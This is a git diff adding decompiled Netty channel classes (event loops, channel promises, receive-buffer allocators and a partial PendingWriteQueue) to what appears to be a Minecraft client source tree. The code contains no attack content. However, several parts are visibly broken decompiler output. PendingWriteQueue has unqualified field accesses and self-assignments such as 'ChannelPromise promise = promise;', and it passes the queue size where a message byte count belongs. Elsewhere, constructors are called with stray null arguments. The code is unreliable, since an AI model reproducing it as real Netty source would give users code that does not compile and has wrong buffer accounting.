diff --git a/src/minecraft/io/netty/channel/DefaultChannelPromise.java b/src/minecraft/io/netty/channel/DefaultChannelPromise.java
new file mode 100644
index 0000000..1f73dbd
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultChannelPromise.java
@@ -0,0 +1,160 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.DefaultPromise;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultChannelPromise
+  extends DefaultPromise<Void>
+  implements ChannelPromise, ChannelFlushPromiseNotifier.FlushCheckpoint
+{
+  private final Channel channel;
+  private long checkpoint;
+  
+  public DefaultChannelPromise(Channel channel)
+  {
+    this.channel = channel;
+  }
+  
+
+
+
+
+
+  public DefaultChannelPromise(Channel channel, EventExecutor executor)
+  {
+    super(executor);
+    this.channel = channel;
+  }
+  
+  protected EventExecutor executor()
+  {
+    EventExecutor e = super.executor();
+    if (e == null) {
+      return channel().eventLoop();
+    }
+    return e;
+  }
+  
+
+  public Channel channel()
+  {
+    return channel;
+  }
+  
+  public ChannelPromise setSuccess()
+  {
+    return setSuccess(null);
+  }
+  
+  public ChannelPromise setSuccess(Void result)
+  {
+    super.setSuccess(result);
+    return this;
+  }
+  
+  public boolean trySuccess()
+  {
+    return trySuccess(null);
+  }
+  
+  public ChannelPromise setFailure(Throwable cause)
+  {
+    super.setFailure(cause);
+    return this;
+  }
+  
+  public ChannelPromise addListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.addListener(listener);
+    return this;
+  }
+  
+  public ChannelPromise addListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.addListeners(listeners);
+    return this;
+  }
+  
+  public ChannelPromise removeListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.removeListener(listener);
+    return this;
+  }
+  
+  public ChannelPromise removeListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.removeListeners(listeners);
+    return this;
+  }
+  
+  public ChannelPromise sync() throws InterruptedException
+  {
+    super.sync();
+    return this;
+  }
+  
+  public ChannelPromise syncUninterruptibly()
+  {
+    super.syncUninterruptibly();
+    return this;
+  }
+  
+  public ChannelPromise await() throws InterruptedException
+  {
+    super.await();
+    return this;
+  }
+  
+  public ChannelPromise awaitUninterruptibly()
+  {
+    super.awaitUninterruptibly();
+    return this;
+  }
+  
+  public long flushCheckpoint()
+  {
+    return checkpoint;
+  }
+  
+  public void flushCheckpoint(long checkpoint)
+  {
+    this.checkpoint = checkpoint;
+  }
+  
+  public ChannelPromise promise()
+  {
+    return this;
+  }
+  
+  protected void checkDeadLock()
+  {
+    if (channel().isRegistered()) {
+      super.checkDeadLock();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultEventLoop.java b/src/minecraft/io/netty/channel/DefaultEventLoop.java
new file mode 100644
index 0000000..be1ee6d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultEventLoop.java
@@ -0,0 +1,63 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.DefaultThreadFactory;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultEventLoop
+  extends SingleThreadEventLoop
+{
+  public DefaultEventLoop()
+  {
+    this((EventLoopGroup)null);
+  }
+  
+  public DefaultEventLoop(ThreadFactory threadFactory) {
+    this(null, threadFactory);
+  }
+  
+  public DefaultEventLoop(Executor executor) {
+    this(null, executor);
+  }
+  
+  public DefaultEventLoop(EventLoopGroup parent) {
+    this(parent, new DefaultThreadFactory(DefaultEventLoop.class));
+  }
+  
+  public DefaultEventLoop(EventLoopGroup parent, ThreadFactory threadFactory) {
+    super(parent, threadFactory, true);
+  }
+  
+  public DefaultEventLoop(EventLoopGroup parent, Executor executor) {
+    super(parent, executor, true);
+  }
+  
+  protected void run()
+  {
+    for (;;) {
+      Runnable task = takeTask();
+      if (task != null) {
+        task.run();
+        updateLastExecutionTime();
+      }
+      
+      if (confirmShutdown()) {
+        break;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultEventLoopGroup.java b/src/minecraft/io/netty/channel/DefaultEventLoopGroup.java
new file mode 100644
index 0000000..fe160c1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultEventLoopGroup.java
@@ -0,0 +1,66 @@
+package io.netty.channel;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultEventLoopGroup
+  extends MultithreadEventLoopGroup
+{
+  public DefaultEventLoopGroup()
+  {
+    this(0);
+  }
+  
+
+
+
+
+  public DefaultEventLoopGroup(int nThreads)
+  {
+    this(nThreads, (ThreadFactory)null);
+  }
+  
+
+
+
+
+
+  public DefaultEventLoopGroup(int nThreads, ThreadFactory threadFactory)
+  {
+    super(nThreads, threadFactory, new Object[0]);
+  }
+  
+
+
+
+
+
+  public DefaultEventLoopGroup(int nThreads, Executor executor)
+  {
+    super(nThreads, executor, new Object[0]);
+  }
+  
+  protected EventLoop newChild(Executor executor, Object... args) throws Exception
+  {
+    return new DefaultEventLoop(this, executor);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultFileRegion.java b/src/minecraft/io/netty/channel/DefaultFileRegion.java
new file mode 100644
index 0000000..ddcc907
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultFileRegion.java
@@ -0,0 +1,107 @@
+package io.netty.channel;
+
+import io.netty.util.AbstractReferenceCounted;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.nio.channels.FileChannel;
+import java.nio.channels.WritableByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultFileRegion
+  extends AbstractReferenceCounted
+  implements FileRegion
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DefaultFileRegion.class);
+  
+
+  private final FileChannel file;
+  
+
+  private final long position;
+  
+  private final long count;
+  
+  private long transfered;
+  
+
+  public DefaultFileRegion(FileChannel file, long position, long count)
+  {
+    if (file == null) {
+      throw new NullPointerException("file");
+    }
+    if (position < 0L) {
+      throw new IllegalArgumentException("position must be >= 0 but was " + position);
+    }
+    if (count < 0L) {
+      throw new IllegalArgumentException("count must be >= 0 but was " + count);
+    }
+    this.file = file;
+    this.position = position;
+    this.count = count;
+  }
+  
+  public long position()
+  {
+    return position;
+  }
+  
+  public long count()
+  {
+    return count;
+  }
+  
+  public long transfered()
+  {
+    return transfered;
+  }
+  
+  public long transferTo(WritableByteChannel target, long position) throws IOException
+  {
+    long count = this.count - position;
+    if ((count < 0L) || (position < 0L)) {
+      throw new IllegalArgumentException("position out of range: " + position + " (expected: 0 - " + (this.count - 1L) + ')');
+    }
+    
+
+    if (count == 0L) {
+      return 0L;
+    }
+    
+    long written = file.transferTo(this.position + position, count, target);
+    if (written > 0L) {
+      transfered += written;
+    }
+    return written;
+  }
+  
+  protected void deallocate()
+  {
+    try {
+      file.close();
+    } catch (IOException e) {
+      if (logger.isWarnEnabled()) {
+        logger.warn("Failed to close a file.", e);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultMaxBytesRecvByteBufAllocator.java b/src/minecraft/io/netty/channel/DefaultMaxBytesRecvByteBufAllocator.java
new file mode 100644
index 0000000..e617510
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultMaxBytesRecvByteBufAllocator.java
@@ -0,0 +1,190 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import java.util.AbstractMap.SimpleEntry;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultMaxBytesRecvByteBufAllocator
+  implements MaxBytesRecvByteBufAllocator
+{
+  private volatile int maxBytesPerRead;
+  private volatile int maxBytesPerIndividualRead;
+  
+  private final class HandleImpl
+    implements RecvByteBufAllocator.Handle
+  {
+    private int individualReadMax;
+    private int bytesToRead;
+    private int lastBytesRead;
+    private int attemptBytesRead;
+    
+    private HandleImpl() {}
+    
+    public ByteBuf allocate(ByteBufAllocator alloc)
+    {
+      return alloc.ioBuffer(guess());
+    }
+    
+    public int guess()
+    {
+      return Math.min(individualReadMax, bytesToRead);
+    }
+    
+    public void reset(ChannelConfig config)
+    {
+      bytesToRead = maxBytesPerRead();
+      individualReadMax = maxBytesPerIndividualRead();
+    }
+    
+
+    public void incMessagesRead(int amt) {}
+    
+
+    public void lastBytesRead(int bytes)
+    {
+      lastBytesRead = bytes;
+      
+
+      bytesToRead -= bytes;
+    }
+    
+    public int lastBytesRead()
+    {
+      return lastBytesRead;
+    }
+    
+
+    public boolean continueReading()
+    {
+      return (bytesToRead > 0) && (attemptBytesRead == lastBytesRead);
+    }
+    
+
+    public void readComplete() {}
+    
+
+    public void attemptedBytesRead(int bytes)
+    {
+      attemptBytesRead = bytes;
+    }
+    
+    public int attemptedBytesRead()
+    {
+      return attemptBytesRead;
+    }
+  }
+  
+  public DefaultMaxBytesRecvByteBufAllocator() {
+    this(65536, 65536);
+  }
+  
+  public DefaultMaxBytesRecvByteBufAllocator(int maxBytesPerRead, int maxBytesPerIndividualRead) {
+    checkMaxBytesPerReadPair(maxBytesPerRead, maxBytesPerIndividualRead);
+    this.maxBytesPerRead = maxBytesPerRead;
+    this.maxBytesPerIndividualRead = maxBytesPerIndividualRead;
+  }
+  
+  public RecvByteBufAllocator.Handle newHandle()
+  {
+    return new HandleImpl(null);
+  }
+  
+  public int maxBytesPerRead()
+  {
+    return maxBytesPerRead;
+  }
+  
+  public DefaultMaxBytesRecvByteBufAllocator maxBytesPerRead(int maxBytesPerRead)
+  {
+    if (maxBytesPerRead <= 0) {
+      throw new IllegalArgumentException("maxBytesPerRead: " + maxBytesPerRead + " (expected: > 0)");
+    }
+    
+
+    synchronized (this) {
+      int maxBytesPerIndividualRead = maxBytesPerIndividualRead();
+      if (maxBytesPerRead < maxBytesPerIndividualRead) {
+        throw new IllegalArgumentException("maxBytesPerRead cannot be less than maxBytesPerIndividualRead (" + maxBytesPerIndividualRead + "): " + maxBytesPerRead);
+      }
+      
+
+
+      this.maxBytesPerRead = maxBytesPerRead;
+    }
+    return this;
+  }
+  
+  public int maxBytesPerIndividualRead()
+  {
+    return maxBytesPerIndividualRead;
+  }
+  
+  public DefaultMaxBytesRecvByteBufAllocator maxBytesPerIndividualRead(int maxBytesPerIndividualRead)
+  {
+    if (maxBytesPerIndividualRead <= 0) {
+      throw new IllegalArgumentException("maxBytesPerIndividualRead: " + maxBytesPerIndividualRead + " (expected: > 0)");
+    }
+    
+
+
+    synchronized (this) {
+      int maxBytesPerRead = maxBytesPerRead();
+      if (maxBytesPerIndividualRead > maxBytesPerRead) {
+        throw new IllegalArgumentException("maxBytesPerIndividualRead cannot be greater than maxBytesPerRead (" + maxBytesPerRead + "): " + maxBytesPerIndividualRead);
+      }
+      
+
+
+      this.maxBytesPerIndividualRead = maxBytesPerIndividualRead;
+    }
+    return this;
+  }
+  
+  public synchronized Map.Entry<Integer, Integer> maxBytesPerReadPair()
+  {
+    return new AbstractMap.SimpleEntry(Integer.valueOf(maxBytesPerRead), Integer.valueOf(maxBytesPerIndividualRead));
+  }
+  
+  private void checkMaxBytesPerReadPair(int maxBytesPerRead, int maxBytesPerIndividualRead) {
+    if (maxBytesPerRead <= 0) {
+      throw new IllegalArgumentException("maxBytesPerRead: " + maxBytesPerRead + " (expected: > 0)");
+    }
+    if (maxBytesPerIndividualRead <= 0) {
+      throw new IllegalArgumentException("maxBytesPerIndividualRead: " + maxBytesPerIndividualRead + " (expected: > 0)");
+    }
+    
+    if (maxBytesPerRead < maxBytesPerIndividualRead) {
+      throw new IllegalArgumentException("maxBytesPerRead cannot be less than maxBytesPerIndividualRead (" + maxBytesPerIndividualRead + "): " + maxBytesPerRead);
+    }
+  }
+  
+
+
+
+  public DefaultMaxBytesRecvByteBufAllocator maxBytesPerReadPair(int maxBytesPerRead, int maxBytesPerIndividualRead)
+  {
+    checkMaxBytesPerReadPair(maxBytesPerRead, maxBytesPerIndividualRead);
+    
+
+    synchronized (this) {
+      this.maxBytesPerRead = maxBytesPerRead;
+      this.maxBytesPerIndividualRead = maxBytesPerIndividualRead;
+    }
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultMaxMessagesRecvByteBufAllocator.java b/src/minecraft/io/netty/channel/DefaultMaxMessagesRecvByteBufAllocator.java
new file mode 100644
index 0000000..765cb73
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultMaxMessagesRecvByteBufAllocator.java
@@ -0,0 +1,123 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DefaultMaxMessagesRecvByteBufAllocator
+  implements MaxMessagesRecvByteBufAllocator
+{
+  private volatile int maxMessagesPerRead;
+  
+  public DefaultMaxMessagesRecvByteBufAllocator()
+  {
+    this(1);
+  }
+  
+  public DefaultMaxMessagesRecvByteBufAllocator(int maxMessagesPerRead) {
+    maxMessagesPerRead(maxMessagesPerRead);
+  }
+  
+  public int maxMessagesPerRead()
+  {
+    return maxMessagesPerRead;
+  }
+  
+  public MaxMessagesRecvByteBufAllocator maxMessagesPerRead(int maxMessagesPerRead)
+  {
+    if (maxMessagesPerRead <= 0) {
+      throw new IllegalArgumentException("maxMessagesPerRead: " + maxMessagesPerRead + " (expected: > 0)");
+    }
+    this.maxMessagesPerRead = maxMessagesPerRead;
+    return this;
+  }
+  
+
+  public abstract class MaxMessageHandle
+    implements RecvByteBufAllocator.Handle
+  {
+    private ChannelConfig config;
+    
+    private int maxMessagePerRead;
+    private int totalMessages;
+    private int totalBytesRead;
+    private int attemptedBytesRead;
+    private int lastBytesRead;
+    
+    public MaxMessageHandle() {}
+    
+    public void reset(ChannelConfig config)
+    {
+      this.config = config;
+      maxMessagePerRead = maxMessagesPerRead();
+      totalMessages = (this.totalBytesRead = 0);
+    }
+    
+    public ByteBuf allocate(ByteBufAllocator alloc)
+    {
+      return alloc.ioBuffer(guess());
+    }
+    
+    public final void incMessagesRead(int amt)
+    {
+      totalMessages += amt;
+    }
+    
+    public final void lastBytesRead(int bytes)
+    {
+      lastBytesRead = bytes;
+      
+
+      totalBytesRead += bytes;
+      if (totalBytesRead < 0) {
+        totalBytesRead = Integer.MAX_VALUE;
+      }
+    }
+    
+    public final int lastBytesRead()
+    {
+      return lastBytesRead;
+    }
+    
+    public boolean continueReading()
+    {
+      return (config.isAutoRead()) && (attemptedBytesRead == lastBytesRead) && (totalMessages < maxMessagePerRead) && (totalBytesRead < Integer.MAX_VALUE);
+    }
+    
+
+
+
+    public void readComplete() {}
+    
+
+
+    public int attemptedBytesRead()
+    {
+      return attemptedBytesRead;
+    }
+    
+    public void attemptedBytesRead(int bytes)
+    {
+      attemptedBytesRead = bytes;
+    }
+    
+    protected final int totalBytesRead() {
+      return totalBytesRead;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultMessageSizeEstimator.java b/src/minecraft/io/netty/channel/DefaultMessageSizeEstimator.java
new file mode 100644
index 0000000..1f041d4
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultMessageSizeEstimator.java
@@ -0,0 +1,72 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultMessageSizeEstimator
+  implements MessageSizeEstimator
+{
+  private static final class HandleImpl
+    implements MessageSizeEstimator.Handle
+  {
+    private final int unknownSize;
+    
+    private HandleImpl(int unknownSize)
+    {
+      this.unknownSize = unknownSize;
+    }
+    
+    public int size(Object msg)
+    {
+      if ((msg instanceof ByteBuf)) {
+        return ((ByteBuf)msg).readableBytes();
+      }
+      if ((msg instanceof ByteBufHolder)) {
+        return ((ByteBufHolder)msg).content().readableBytes();
+      }
+      if ((msg instanceof FileRegion)) {
+        return 0;
+      }
+      return unknownSize;
+    }
+  }
+  
+
+
+
+  public static final MessageSizeEstimator DEFAULT = new DefaultMessageSizeEstimator(0);
+  
+
+
+  private final MessageSizeEstimator.Handle handle;
+  
+
+
+  public DefaultMessageSizeEstimator(int unknownSize)
+  {
+    if (unknownSize < 0) {
+      throw new IllegalArgumentException("unknownSize: " + unknownSize + " (expected: >= 0)");
+    }
+    handle = new HandleImpl(unknownSize, null);
+  }
+  
+  public MessageSizeEstimator.Handle newHandle()
+  {
+    return handle;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultSelectStrategy.java b/src/minecraft/io/netty/channel/DefaultSelectStrategy.java
new file mode 100644
index 0000000..185d0cd
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultSelectStrategy.java
@@ -0,0 +1,32 @@
+package io.netty.channel;
+
+import io.netty.util.IntSupplier;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultSelectStrategy
+  implements SelectStrategy
+{
+  static final SelectStrategy INSTANCE = new DefaultSelectStrategy();
+  
+  private DefaultSelectStrategy() {}
+  
+  public int calculateStrategy(IntSupplier selectSupplier, boolean hasTasks) throws Exception
+  {
+    return hasTasks ? selectSupplier.get() : -1;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultSelectStrategyFactory.java b/src/minecraft/io/netty/channel/DefaultSelectStrategyFactory.java
new file mode 100644
index 0000000..7d2acbb
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultSelectStrategyFactory.java
@@ -0,0 +1,30 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultSelectStrategyFactory
+  implements SelectStrategyFactory
+{
+  public static final SelectStrategyFactory INSTANCE = new DefaultSelectStrategyFactory();
+  
+  private DefaultSelectStrategyFactory() {}
+  
+  public SelectStrategy newSelectStrategy()
+  {
+    return DefaultSelectStrategy.INSTANCE;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/EventLoop.java b/src/minecraft/io/netty/channel/EventLoop.java
new file mode 100644
index 0000000..76d07f1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/EventLoop.java
@@ -0,0 +1,9 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.EventExecutor;
+
+public abstract interface EventLoop
+  extends EventExecutor, EventLoopGroup
+{
+  public abstract EventLoopGroup parent();
+}
diff --git a/src/minecraft/io/netty/channel/EventLoopException.java b/src/minecraft/io/netty/channel/EventLoopException.java
new file mode 100644
index 0000000..b7a81d6
--- /dev/null
+++ b/src/minecraft/io/netty/channel/EventLoopException.java
@@ -0,0 +1,40 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+public class EventLoopException
+  extends ChannelException
+{
+  private static final long serialVersionUID = -8969100344583703616L;
+  
+
+
+
+
+
+
+  public EventLoopException() {}
+  
+
+
+
+
+
+
+  public EventLoopException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+  public EventLoopException(String message) {
+    super(message);
+  }
+  
+  public EventLoopException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/EventLoopGroup.java b/src/minecraft/io/netty/channel/EventLoopGroup.java
new file mode 100644
index 0000000..799a409
--- /dev/null
+++ b/src/minecraft/io/netty/channel/EventLoopGroup.java
@@ -0,0 +1,13 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.EventExecutorGroup;
+
+public abstract interface EventLoopGroup
+  extends EventExecutorGroup
+{
+  public abstract EventLoop next();
+  
+  public abstract ChannelFuture register(Channel paramChannel);
+  
+  public abstract ChannelFuture register(Channel paramChannel, ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/channel/FailedChannelFuture.java b/src/minecraft/io/netty/channel/FailedChannelFuture.java
new file mode 100644
index 0000000..884d637
--- /dev/null
+++ b/src/minecraft/io/netty/channel/FailedChannelFuture.java
@@ -0,0 +1,65 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class FailedChannelFuture
+  extends CompleteChannelFuture
+{
+  private final Throwable cause;
+  
+  FailedChannelFuture(Channel channel, EventExecutor executor, Throwable cause)
+  {
+    super(channel, executor);
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    this.cause = cause;
+  }
+  
+  public Throwable cause()
+  {
+    return cause;
+  }
+  
+  public boolean isSuccess()
+  {
+    return false;
+  }
+  
+  public ChannelFuture sync()
+  {
+    PlatformDependent.throwException(cause);
+    return this;
+  }
+  
+  public ChannelFuture syncUninterruptibly()
+  {
+    PlatformDependent.throwException(cause);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/FileRegion.java b/src/minecraft/io/netty/channel/FileRegion.java
new file mode 100644
index 0000000..a554dc1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/FileRegion.java
@@ -0,0 +1,18 @@
+package io.netty.channel;
+
+import io.netty.util.ReferenceCounted;
+import java.io.IOException;
+import java.nio.channels.WritableByteChannel;
+
+public abstract interface FileRegion
+  extends ReferenceCounted
+{
+  public abstract long position();
+  
+  public abstract long transfered();
+  
+  public abstract long count();
+  
+  public abstract long transferTo(WritableByteChannel paramWritableByteChannel, long paramLong)
+    throws IOException;
+}
diff --git a/src/minecraft/io/netty/channel/FixedRecvByteBufAllocator.java b/src/minecraft/io/netty/channel/FixedRecvByteBufAllocator.java
new file mode 100644
index 0000000..acc4f13
--- /dev/null
+++ b/src/minecraft/io/netty/channel/FixedRecvByteBufAllocator.java
@@ -0,0 +1,69 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FixedRecvByteBufAllocator
+  implements RecvByteBufAllocator
+{
+  private final RecvByteBufAllocator.Handle handle;
+  
+  private static final class HandleImpl
+    implements RecvByteBufAllocator.Handle
+  {
+    private final int bufferSize;
+    
+    HandleImpl(int bufferSize)
+    {
+      this.bufferSize = bufferSize;
+    }
+    
+    public ByteBuf allocate(ByteBufAllocator alloc)
+    {
+      return alloc.ioBuffer(bufferSize);
+    }
+    
+    public int guess()
+    {
+      return bufferSize;
+    }
+    
+
+
+
+    public void record(int actualReadBytes) {}
+  }
+  
+
+
+
+  public FixedRecvByteBufAllocator(int bufferSize)
+  {
+    if (bufferSize <= 0) {
+      throw new IllegalArgumentException("bufferSize must greater than 0: " + bufferSize);
+    }
+    
+
+    handle = new HandleImpl(bufferSize);
+  }
+  
+  public RecvByteBufAllocator.Handle newHandle()
+  {
+    return handle;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/MaxBytesRecvByteBufAllocator.java b/src/minecraft/io/netty/channel/MaxBytesRecvByteBufAllocator.java
new file mode 100644
index 0000000..b0344af
--- /dev/null
+++ b/src/minecraft/io/netty/channel/MaxBytesRecvByteBufAllocator.java
@@ -0,0 +1,19 @@
+package io.netty.channel;
+
+import java.util.Map.Entry;
+
+public abstract interface MaxBytesRecvByteBufAllocator
+  extends RecvByteBufAllocator
+{
+  public abstract int maxBytesPerRead();
+  
+  public abstract MaxBytesRecvByteBufAllocator maxBytesPerRead(int paramInt);
+  
+  public abstract int maxBytesPerIndividualRead();
+  
+  public abstract MaxBytesRecvByteBufAllocator maxBytesPerIndividualRead(int paramInt);
+  
+  public abstract Map.Entry<Integer, Integer> maxBytesPerReadPair();
+  
+  public abstract MaxBytesRecvByteBufAllocator maxBytesPerReadPair(int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/io/netty/channel/MaxMessagesRecvByteBufAllocator.java b/src/minecraft/io/netty/channel/MaxMessagesRecvByteBufAllocator.java
new file mode 100644
index 0000000..ea47b7a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/MaxMessagesRecvByteBufAllocator.java
@@ -0,0 +1,9 @@
+package io.netty.channel;
+
+public abstract interface MaxMessagesRecvByteBufAllocator
+  extends RecvByteBufAllocator
+{
+  public abstract int maxMessagesPerRead();
+  
+  public abstract MaxMessagesRecvByteBufAllocator maxMessagesPerRead(int paramInt);
+}
diff --git a/src/minecraft/io/netty/channel/MessageSizeEstimator.java b/src/minecraft/io/netty/channel/MessageSizeEstimator.java
new file mode 100644
index 0000000..00b41a3
--- /dev/null
+++ b/src/minecraft/io/netty/channel/MessageSizeEstimator.java
@@ -0,0 +1,11 @@
+package io.netty.channel;
+
+public abstract interface MessageSizeEstimator
+{
+  public abstract Handle newHandle();
+  
+  public static abstract interface Handle
+  {
+    public abstract int size(Object paramObject);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/MultithreadEventLoopGroup.java b/src/minecraft/io/netty/channel/MultithreadEventLoopGroup.java
new file mode 100644
index 0000000..251f8e1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/MultithreadEventLoopGroup.java
@@ -0,0 +1,71 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.DefaultThreadFactory;
+import io.netty.util.concurrent.MultithreadEventExecutorGroup;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MultithreadEventLoopGroup
+  extends MultithreadEventExecutorGroup
+  implements EventLoopGroup
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(MultithreadEventLoopGroup.class);
+  
+
+
+
+  private static final int DEFAULT_EVENT_LOOP_THREADS = Math.max(1, SystemPropertyUtil.getInt("io.netty.eventLoopThreads", Runtime.getRuntime().availableProcessors() * 2));
+  
+  static {
+    if (logger.isDebugEnabled()) {
+      logger.debug("-Dio.netty.eventLoopThreads: {}", Integer.valueOf(DEFAULT_EVENT_LOOP_THREADS));
+    }
+  }
+  
+
+
+  protected MultithreadEventLoopGroup(int nThreads, ThreadFactory threadFactory, Object... args)
+  {
+    super(nThreads == 0 ? DEFAULT_EVENT_LOOP_THREADS : nThreads, threadFactory, args);
+  }
+  
+  protected ThreadFactory newDefaultThreadFactory()
+  {
+    return new DefaultThreadFactory(getClass(), 10);
+  }
+  
+  public EventLoop next()
+  {
+    return (EventLoop)super.next();
+  }
+  
+  public ChannelFuture register(Channel channel)
+  {
+    return next().register(channel);
+  }
+  
+  public ChannelFuture register(Channel channel, ChannelPromise promise)
+  {
+    return next().register(channel, promise);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/PendingWriteQueue.java b/src/minecraft/io/netty/channel/PendingWriteQueue.java
new file mode 100644
index 0000000..fa1f724
--- /dev/null
+++ b/src/minecraft/io/netty/channel/PendingWriteQueue.java
@@ -0,0 +1,278 @@
+package io.netty.channel;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PendingWriteQueue
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(PendingWriteQueue.class);
+  
+  private final ChannelHandlerContext ctx;
+  
+  private final ChannelOutboundBuffer buffer;
+  private final MessageSizeEstimator.Handle estimatorHandle;
+  private PendingWrite head;
+  private PendingWrite tail;
+  private int size;
+  
+  public PendingWriteQueue(ChannelHandlerContext ctx)
+  {
+    if (ctx == null) {
+      throw new NullPointerException("ctx");
+    }
+    this.ctx = ctx;
+    buffer = ctx.channel().unsafe().outboundBuffer();
+    estimatorHandle = ctx.channel().config().getMessageSizeEstimator().newHandle();
+  }
+  
+
+
+  public boolean isEmpty()
+  {
+    assert (ctx.executor().inEventLoop());
+    return head == null;
+  }
+  
+
+
+  public int size()
+  {
+    assert (ctx.executor().inEventLoop());
+    return size;
+  }
+  
+
+
+  public void add(Object msg, ChannelPromise promise)
+  {
+    assert (ctx.executor().inEventLoop());
+    if (msg == null) {
+      throw new NullPointerException("msg");
+    }
+    if (promise == null) {
+      throw new NullPointerException("promise");
+    }
+    int messageSize = estimatorHandle.size(msg);
+    if (messageSize < 0)
+    {
+      messageSize = 0;
+    }
+    PendingWrite write = PendingWrite.newInstance(msg, messageSize, promise);
+    PendingWrite currentTail = tail;
+    if (currentTail == null) {
+      tail = (this.head = write);
+    } else {
+      next = write;
+      tail = write;
+    }
+    size += 1;
+    buffer.incrementPendingOutboundBytes(size);
+  }
+  
+
+
+
+  public void removeAndFailAll(Throwable cause)
+  {
+    assert (ctx.executor().inEventLoop());
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    PendingWrite write = head;
+    while (write != null) {
+      PendingWrite next = next;
+      ReferenceCountUtil.safeRelease(msg);
+      ChannelPromise promise = promise;
+      recycle(write);
+      safeFail(promise, cause);
+      write = next;
+    }
+    assertEmpty();
+  }
+  
+
+
+
+  public void removeAndFail(Throwable cause)
+  {
+    assert (ctx.executor().inEventLoop());
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    PendingWrite write = head;
+    if (write == null) {
+      return;
+    }
+    ReferenceCountUtil.safeRelease(msg);
+    ChannelPromise promise = promise;
+    safeFail(promise, cause);
+    recycle(write);
+  }
